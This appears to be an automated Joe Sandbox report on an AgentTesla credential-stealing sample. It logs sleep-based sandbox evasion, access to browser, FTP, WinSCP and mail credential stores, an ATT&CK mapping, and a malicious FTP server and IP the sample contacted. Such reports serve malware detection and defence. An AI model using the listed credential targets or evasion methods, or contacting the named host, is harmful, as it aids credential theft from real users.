Source: C:\Users\user\Desktop\pE7icjUisS.exe	Thread delayed: delay time: 1199463	Jump to behavior
Source: C:\Users\user\Desktop\pE7icjUisS.exe	Thread delayed: delay time: 1199348	Jump to behavior
Source: C:\Users\user\Desktop\pE7icjUisS.exe	Thread delayed: delay time: 1199218	Jump to behavior
Source: C:\Users\user\Desktop\pE7icjUisS.exe	Thread delayed: delay time: 1199109	Jump to behavior
Source: C:\Users\user\Desktop\pE7icjUisS.exe	Thread delayed: delay time: 1199000	Jump to behavior
Source: C:\Users\user\Desktop\pE7icjUisS.exe	Thread delayed: delay time: 1198890	Jump to behavior
Source: C:\Users\user\Desktop\pE7icjUisS.exe	Thread delayed: delay time: 1198781	Jump to behavior
Source: C:\Users\user\Desktop\pE7icjUisS.exe	Thread delayed: delay time: 1198672	Jump to behavior
Source: C:\Users\user\Desktop\pE7icjUisS.exe	Thread delayed: delay time: 1198562	Jump to behavior
Source: C:\Users\user\Desktop\pE7icjUisS.exe	Thread delayed: delay time: 1198453	Jump to behavior
Source: C:\Users\user\Desktop\pE7icjUisS.exe	Thread delayed: delay time: 1198342	Jump to behavior
Source: C:\Users\user\Desktop\pE7icjUisS.exe	Thread delayed: delay time: 1198234	Jump to behavior
Source: C:\Users\user\Desktop\pE7icjUisS.exe	Thread delayed: delay time: 1198122	Jump to behavior
Source: C:\Users\user\Desktop\pE7icjUisS.exe	Thread delayed: delay time: 1197998	Jump to behavior
Source: C:\Users\user\Desktop\pE7icjUisS.exe	Thread delayed: delay time: 1197890	Jump to behavior
Source: C:\Users\user\Desktop\pE7icjUisS.exe	Thread delayed: delay time: 1197781	Jump to behavior
Source: C:\Users\user\Desktop\pE7icjUisS.exe	Thread delayed: delay time: 1197671	Jump to behavior
Source: C:\Users\user\Desktop\pE7icjUisS.exe	Thread delayed: delay time: 1197562	Jump to behavior
Source: C:\Users\user\Desktop\pE7icjUisS.exe	Thread delayed: delay time: 1197453	Jump to behavior
Source: C:\Users\user\Desktop\pE7icjUisS.exe	Thread delayed: delay time: 1197343	Jump to behavior
Source: C:\Users\user\Desktop\pE7icjUisS.exe	Thread delayed: delay time: 1197234	Jump to behavior
Source: C:\Users\user\Desktop\pE7icjUisS.exe	Thread delayed: delay time: 1197124	Jump to behavior
Source: C:\Users\user\Desktop\pE7icjUisS.exe	Thread delayed: delay time: 1197013	Jump to behavior
Source: C:\Users\user\Desktop\pE7icjUisS.exe	Thread delayed: delay time: 1196905	Jump to behavior
Source: C:\Users\user\Desktop\pE7icjUisS.exe	Thread delayed: delay time: 1196689	Jump to behavior
Source: C:\Users\user\Desktop\pE7icjUisS.exe	Thread delayed: delay time: 1196562	Jump to behavior
Source: C:\Users\user\Desktop\pE7icjUisS.exe	Thread delayed: delay time: 1196453	Jump to behavior
Source: C:\Users\user\Desktop\pE7icjUisS.exe	Thread delayed: delay time: 1196343	Jump to behavior
Source: C:\Users\user\Desktop\pE7icjUisS.exe	Thread delayed: delay time: 1196234	Jump to behavior
Source: C:\Users\user\Desktop\pE7icjUisS.exe	Thread delayed: delay time: 1196125	Jump to behavior
Source: C:\Users\user\Desktop\pE7icjUisS.exe	Thread delayed: delay time: 1196015	Jump to behavior
Source: C:\Users\user\Desktop\pE7icjUisS.exe	Thread delayed: delay time: 1195906	Jump to behavior
Source: C:\Users\user\Desktop\pE7icjUisS.exe	Thread delayed: delay time: 1195796	Jump to behavior
Source: C:\Users\user\Desktop\pE7icjUisS.exe	Thread delayed: delay time: 1195687	Jump to behavior
Source: C:\Users\user\Desktop\pE7icjUisS.exe	Thread delayed: delay time: 1195578	Jump to behavior
Source: C:\Users\user\Desktop\pE7icjUisS.exe	Thread delayed: delay time: 1195468	Jump to behavior
Source: C:\Users\user\Desktop\pE7icjUisS.exe	Thread delayed: delay time: 1195359	Jump to behavior
Source: C:\Users\user\Desktop\pE7icjUisS.exe	Thread delayed: delay time: 1195250	Jump to behavior
Source: C:\Users\user\Desktop\pE7icjUisS.exe	Thread delayed: delay time: 1195140	Jump to behavior
Source: C:\Users\user\Desktop\pE7icjUisS.exe	Thread delayed: delay time: 1195031	Jump to behavior
Source: C:\Users\user\Desktop\pE7icjUisS.exe	Thread delayed: delay time: 1194921	Jump to behavior
Source: C:\Users\user\Desktop\pE7icjUisS.exe	Thread delayed: delay time: 1194812	Jump to behavior
Source: C:\Users\user\Desktop\pE7icjUisS.exe	Thread delayed: delay time: 1194703	Jump to behavior
Source: C:\Users\user\Desktop\pE7icjUisS.exe	Thread delayed: delay time: 1194592	Jump to behavior
Source: C:\Users\user\Desktop\pE7icjUisS.exe	Thread delayed: delay time: 1194483	Jump to behavior
Source: C:\Users\user\Desktop\pE7icjUisS.exe	Thread delayed: delay time: 1194375	Jump to behavior

Source: C:\Users\user\Desktop\pE7icjUisS.exe	Window / User API: threadDelayed 1940			Jump to behavior
Source: C:\Users\user\Desktop\pE7icjUisS.exe	Window / User API: threadDelayed 7918			Jump to behavior

Source: C:\Users\user\Desktop\pE7icjUisS.exe TID: 6664	Thread sleep count: 32 > 30	Jump to behavior
Source: C:\Users\user\Desktop\pE7icjUisS.exe TID: 6664	Thread sleep time: -29514790517935264s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\pE7icjUisS.exe TID: 6664	Thread sleep time: -1200000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\pE7icjUisS.exe TID: 5720	Thread sleep count: 1940 > 30	Jump to behavior
Source: C:\Users\user\Desktop\pE7icjUisS.exe TID: 6664	Thread sleep time: -1199871s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\pE7icjUisS.exe TID: 5720	Thread sleep count: 7918 > 30	Jump to behavior
Source: C:\Users\user\Desktop\pE7icjUisS.exe TID: 6664	Thread sleep time: -1199762s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\pE7icjUisS.exe TID: 6664	Thread sleep time: -1199656s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\pE7icjUisS.exe TID: 6664	Thread sleep time: -1199463s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\pE7icjUisS.exe TID: 6664	Thread sleep time: -1199348s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\pE7icjUisS.exe TID: 6664	Thread sleep time: -1199218s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\pE7icjUisS.exe TID: 6664	Thread sleep time: -1199109s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\pE7icjUisS.exe TID: 6664	Thread sleep time: -1199000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\pE7icjUisS.exe TID: 6664	Thread sleep time: -1198890s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\pE7icjUisS.exe TID: 6664	Thread sleep time: -1198781s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\pE7icjUisS.exe TID: 6664	Thread sleep time: -1198672s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\pE7icjUisS.exe TID: 6664	Thread sleep time: -1198562s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\pE7icjUisS.exe TID: 6664	Thread sleep time: -1198453s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\pE7icjUisS.exe TID: 6664	Thread sleep time: -1198342s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\pE7icjUisS.exe TID: 6664	Thread sleep time: -1198234s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\pE7icjUisS.exe TID: 6664	Thread sleep time: -1198122s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\pE7icjUisS.exe TID: 6664	Thread sleep time: -1197998s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\pE7icjUisS.exe TID: 6664	Thread sleep time: -1197890s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\pE7icjUisS.exe TID: 6664	Thread sleep time: -1197781s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\pE7icjUisS.exe TID: 6664	Thread sleep time: -1197671s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\pE7icjUisS.exe TID: 6664	Thread sleep time: -1197562s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\pE7icjUisS.exe TID: 6664	Thread sleep time: -1197453s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\pE7icjUisS.exe TID: 6664	Thread sleep time: -1197343s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\pE7icjUisS.exe TID: 6664	Thread sleep time: -1197234s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\pE7icjUisS.exe TID: 6664	Thread sleep time: -1197124s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\pE7icjUisS.exe TID: 6664	Thread sleep time: -1197013s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\pE7icjUisS.exe TID: 6664	Thread sleep time: -1196905s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\pE7icjUisS.exe TID: 6664	Thread sleep time: -1196689s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\pE7icjUisS.exe TID: 6664	Thread sleep time: -1196562s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\pE7icjUisS.exe TID: 6664	Thread sleep time: -1196453s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\pE7icjUisS.exe TID: 6664	Thread sleep time: -1196343s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\pE7icjUisS.exe TID: 6664	Thread sleep time: -1196234s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\pE7icjUisS.exe TID: 6664	Thread sleep time: -1196125s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\pE7icjUisS.exe TID: 6664	Thread sleep time: -1196015s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\pE7icjUisS.exe TID: 6664	Thread sleep time: -1195906s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\pE7icjUisS.exe TID: 6664	Thread sleep time: -1195796s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\pE7icjUisS.exe TID: 6664	Thread sleep time: -1195687s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\pE7icjUisS.exe TID: 6664	Thread sleep time: -1195578s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\pE7icjUisS.exe TID: 6664	Thread sleep time: -1195468s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\pE7icjUisS.exe TID: 6664	Thread sleep time: -1195359s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\pE7icjUisS.exe TID: 6664	Thread sleep time: -1195250s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\pE7icjUisS.exe TID: 6664	Thread sleep time: -1195140s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\pE7icjUisS.exe TID: 6664	Thread sleep time: -1195031s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\pE7icjUisS.exe TID: 6664	Thread sleep time: -1194921s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\pE7icjUisS.exe TID: 6664	Thread sleep time: -1194812s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\pE7icjUisS.exe TID: 6664	Thread sleep time: -1194703s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\pE7icjUisS.exe TID: 6664	Thread sleep time: -1194592s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\pE7icjUisS.exe TID: 6664	Thread sleep time: -1194483s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\pE7icjUisS.exe TID: 6664	Thread sleep time: -1194375s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\pE7icjUisS.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_BaseBoard

Source: C:\Users\user\Desktop\pE7icjUisS.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Users\user\Desktop\pE7icjUisS.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor

Source: C:\Users\user\Desktop\pE7icjUisS.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\pE7icjUisS.exe	Thread delayed: delay time: 1200000	Jump to behavior
Source: C:\Users\user\Desktop\pE7icjUisS.exe	Thread delayed: delay time: 1199871	Jump to behavior
Source: C:\Users\user\Desktop\pE7icjUisS.exe	Thread delayed: delay time: 1199762	Jump to behavior
Source: C:\Users\user\Desktop\pE7icjUisS.exe	Thread delayed: delay time: 1199656	Jump to behavior
Source: C:\Users\user\Desktop\pE7icjUisS.exe	Thread delayed: delay time: 1199463	Jump to behavior
Source: C:\Users\user\Desktop\pE7icjUisS.exe	Thread delayed: delay time: 1199348	Jump to behavior
Source: C:\Users\user\Desktop\pE7icjUisS.exe	Thread delayed: delay time: 1199218	Jump to behavior
Source: C:\Users\user\Desktop\pE7icjUisS.exe	Thread delayed: delay time: 1199109	Jump to behavior
Source: C:\Users\user\Desktop\pE7icjUisS.exe	Thread delayed: delay time: 1199000	Jump to behavior
Source: C:\Users\user\Desktop\pE7icjUisS.exe	Thread delayed: delay time: 1198890	Jump to behavior
Source: C:\Users\user\Desktop\pE7icjUisS.exe	Thread delayed: delay time: 1198781	Jump to behavior
Source: C:\Users\user\Desktop\pE7icjUisS.exe	Thread delayed: delay time: 1198672	Jump to behavior
Source: C:\Users\user\Desktop\pE7icjUisS.exe	Thread delayed: delay time: 1198562	Jump to behavior
Source: C:\Users\user\Desktop\pE7icjUisS.exe	Thread delayed: delay time: 1198453	Jump to behavior
Source: C:\Users\user\Desktop\pE7icjUisS.exe	Thread delayed: delay time: 1198342	Jump to behavior
Source: C:\Users\user\Desktop\pE7icjUisS.exe	Thread delayed: delay time: 1198234	Jump to behavior
Source: C:\Users\user\Desktop\pE7icjUisS.exe	Thread delayed: delay time: 1198122	Jump to behavior
Source: C:\Users\user\Desktop\pE7icjUisS.exe	Thread delayed: delay time: 1197998	Jump to behavior
Source: C:\Users\user\Desktop\pE7icjUisS.exe	Thread delayed: delay time: 1197890	Jump to behavior
Source: C:\Users\user\Desktop\pE7icjUisS.exe	Thread delayed: delay time: 1197781	Jump to behavior
Source: C:\Users\user\Desktop\pE7icjUisS.exe	Thread delayed: delay time: 1197671	Jump to behavior
Source: C:\Users\user\Desktop\pE7icjUisS.exe	Thread delayed: delay time: 1197562	Jump to behavior
Source: C:\Users\user\Desktop\pE7icjUisS.exe	Thread delayed: delay time: 1197453	Jump to behavior
Source: C:\Users\user\Desktop\pE7icjUisS.exe	Thread delayed: delay time: 1197343	Jump to behavior
Source: C:\Users\user\Desktop\pE7icjUisS.exe	Thread delayed: delay time: 1197234	Jump to behavior
Source: C:\Users\user\Desktop\pE7icjUisS.exe	Thread delayed: delay time: 1197124	Jump to behavior
Source: C:\Users\user\Desktop\pE7icjUisS.exe	Thread delayed: delay time: 1197013	Jump to behavior
Source: C:\Users\user\Desktop\pE7icjUisS.exe	Thread delayed: delay time: 1196905	Jump to behavior
Source: C:\Users\user\Desktop\pE7icjUisS.exe	Thread delayed: delay time: 1196689	Jump to behavior
Source: C:\Users\user\Desktop\pE7icjUisS.exe	Thread delayed: delay time: 1196562	Jump to behavior
Source: C:\Users\user\Desktop\pE7icjUisS.exe	Thread delayed: delay time: 1196453	Jump to behavior
Source: C:\Users\user\Desktop\pE7icjUisS.exe	Thread delayed: delay time: 1196343	Jump to behavior
Source: C:\Users\user\Desktop\pE7icjUisS.exe	Thread delayed: delay time: 1196234	Jump to behavior
Source: C:\Users\user\Desktop\pE7icjUisS.exe	Thread delayed: delay time: 1196125	Jump to behavior
Source: C:\Users\user\Desktop\pE7icjUisS.exe	Thread delayed: delay time: 1196015	Jump to behavior
Source: C:\Users\user\Desktop\pE7icjUisS.exe	Thread delayed: delay time: 1195906	Jump to behavior
Source: C:\Users\user\Desktop\pE7icjUisS.exe	Thread delayed: delay time: 1195796	Jump to behavior
Source: C:\Users\user\Desktop\pE7icjUisS.exe	Thread delayed: delay time: 1195687	Jump to behavior
Source: C:\Users\user\Desktop\pE7icjUisS.exe	Thread delayed: delay time: 1195578	Jump to behavior
Source: C:\Users\user\Desktop\pE7icjUisS.exe	Thread delayed: delay time: 1195468	Jump to behavior
Source: C:\Users\user\Desktop\pE7icjUisS.exe	Thread delayed: delay time: 1195359	Jump to behavior
Source: C:\Users\user\Desktop\pE7icjUisS.exe	Thread delayed: delay time: 1195250	Jump to behavior
Source: C:\Users\user\Desktop\pE7icjUisS.exe	Thread delayed: delay time: 1195140	Jump to behavior
Source: C:\Users\user\Desktop\pE7icjUisS.exe	Thread delayed: delay time: 1195031	Jump to behavior
Source: C:\Users\user\Desktop\pE7icjUisS.exe	Thread delayed: delay time: 1194921	Jump to behavior
Source: C:\Users\user\Desktop\pE7icjUisS.exe	Thread delayed: delay time: 1194812	Jump to behavior
Source: C:\Users\user\Desktop\pE7icjUisS.exe	Thread delayed: delay time: 1194703	Jump to behavior
Source: C:\Users\user\Desktop\pE7icjUisS.exe	Thread delayed: delay time: 1194592	Jump to behavior
Source: C:\Users\user\Desktop\pE7icjUisS.exe	Thread delayed: delay time: 1194483	Jump to behavior
Source: C:\Users\user\Desktop\pE7icjUisS.exe	Thread delayed: delay time: 1194375	Jump to behavior

Source: pE7icjUisS.exe, 00000000.00000002.3855637535.00000000011BC000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllx

Source: C:\Users\user\Desktop\pE7icjUisS.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\pE7icjUisS.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Users\user\Desktop\pE7icjUisS.exe

Memory allocated: page read and write | page guard

Jump to behavior

Source: C:\Users\user\Desktop\pE7icjUisS.exe	Queries volume information: C:\Users\user\Desktop\pE7icjUisS.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\pE7icjUisS.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\pE7icjUisS.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\pE7icjUisS.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\pE7icjUisS.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\pE7icjUisS.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\pE7icjUisS.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected AgentTesla

Source: Yara match	File source: pE7icjUisS.exe, type: SAMPLE
Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 0.0.pE7icjUisS.exe.b30000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.3856454499.0000000002E9E000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000000.1394478448.0000000000B32000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.3856454499.0000000002E51000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: pE7icjUisS.exe PID: 996, type: MEMORYSTR

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Source: C:\Users\user\Desktop\pE7icjUisS.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Martin Prikryl\WinSCP 2\Sessions

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\pE7icjUisS.exe	File opened: C:\Users\user\AppData\Roaming\NETGATE Technologies\BlackHawk\profiles.ini	Jump to behavior
Source: C:\Users\user\Desktop\pE7icjUisS.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\pE7icjUisS.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini	Jump to behavior
Source: C:\Users\user\Desktop\pE7icjUisS.exe	File opened: C:\Users\user\AppData\Roaming\8pecxstudios\Cyberfox\profiles.ini	Jump to behavior
Source: C:\Users\user\Desktop\pE7icjUisS.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\pE7icjUisS.exe

File opened: C:\FTP Navigator\Ftplist.txt

Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\pE7icjUisS.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Users\user\Desktop\pE7icjUisS.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Users\user\Desktop\pE7icjUisS.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles	Jump to behavior
Source: C:\Users\user\Desktop\pE7icjUisS.exe	Key opened: HKEY_CURRENT_USER\Software\IncrediMail\Identities	Jump to behavior

Source: Yara match	File source: pE7icjUisS.exe, type: SAMPLE
Source: Yara match	File source: 0.0.pE7icjUisS.exe.b30000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000000.1394478448.0000000000B32000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.3856454499.0000000002E51000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: pE7icjUisS.exe PID: 996, type: MEMORYSTR

Remote Access Functionality

Yara detected AgentTesla

Source: Yara match	File source: pE7icjUisS.exe, type: SAMPLE
Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 0.0.pE7icjUisS.exe.b30000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.3856454499.0000000002E9E000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000000.1394478448.0000000000B32000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.3856454499.0000000002E51000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: pE7icjUisS.exe PID: 996, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	121 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	1 Disable or Modify Tools	2 OS Credential Dumping	111 Security Software Discovery	Remote Services	1 Email Collection	1 Encrypted Channel	1 Exfiltration Over Alternative Protocol	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	141 Virtualization/Sandbox Evasion	21 Input Capture	1 Process Discovery	Remote Desktop Protocol	21 Input Capture	1 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	1 Deobfuscate/Decode Files or Information	1 Credentials in Registry	141 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	11 Archive Collected Data	1 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	1 Application Window Discovery	Distributed Component Object Model	2 Data from Local System	11 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 File and Directory Discovery	SSH	1 Clipboard Data	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	24 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
pE7icjUisS.exe	82%	ReversingLabs	ByteCode-MSIL.Trojan.AgentTesla
pE7icjUisS.exe	100%	Avira	HEUR/AGEN.1305739
pE7icjUisS.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label	Link
http://ftp.normagroup.com.tr	100%	Avira URL Cloud	phishing

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
ftp.normagroup.com.tr	104.247.165.99	true	true		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://ftp.normagroup.com.tr	pE7icjUisS.exe, 00000000.00000002.3856454499.0000000002EAC000.00000004.00000800.00020000.00000000.sdmp, pE7icjUisS.exe, 00000000.00000002.3856454499.0000000002E9E000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
https://account.dyn.com/	pE7icjUisS.exe	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	pE7icjUisS.exe, 00000000.00000002.3856454499.0000000002E9E000.00000004.00000800.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
104.247.165.99	ftp.normagroup.com.tr	United States		8100	ASN-QUADRANET-GLOBALUS	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1567461
Start date and time:	2024-12-03 15:56:00 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 51s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	7
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	pE7icjUisS.exe renamed because original name is a hash value
Original Sample Name:	fcb6030b15822380735483e1911f0148961b7f7cc4a9fe30561825ed3cd22dbc.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@1/0@1/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 99% Number of executed functions: 53 Number of non-executed functions: 7
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, backgroundTaskHost.exe
Excluded domains from analysis (whitelisted): slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
VT rate limit hit for: pE7icjUisS.exe

Simulations

Behavior and APIs

Time	Type	Description
09:57:17	API Interceptor	10930208x Sleep call for process: pE7icjUisS.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
104.247.165.99	hesaphareket.exe	Get hash	malicious	AgentTesla	Browse
	wKmhzHd4MC.exe	Get hash	malicious	AgentTesla	Browse
	hesaphareketi__20241001.exe	Get hash	malicious	AgentTesla	Browse
	EUR Swift Bildirimi12-08-2024.exe	Get hash	malicious	AgentTesla	Browse
	LisectAVT_2403002A_134.exe	Get hash	malicious	AgentTesla	Browse
	hesaphareketi_____.exe	Get hash	malicious	AgentTesla	Browse
	hesaphareketi__.exe	Get hash	malicious	AgentTesla	Browse
	hesaphareketi-.exe	Get hash	malicious	AgentTesla	Browse
	hesaphareketi-.exe	Get hash	malicious	AgentTesla	Browse
	hesaphareketi-01-pdf.exe	Get hash	malicious	AgentTesla	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
ftp.normagroup.com.tr	hesaphareket.exe	Get hash	malicious	AgentTesla	Browse	104.247.165.99
	wKmhzHd4MC.exe	Get hash	malicious	AgentTesla	Browse	104.247.165.99
	hesaphareketi__20241001.exe	Get hash	malicious	AgentTesla	Browse	104.247.165.99
	EUR Swift Bildirimi12-08-2024.exe	Get hash	malicious	AgentTesla	Browse	104.247.165.99
	LisectAVT_2403002A_134.exe	Get hash	malicious	AgentTesla	Browse	104.247.165.99
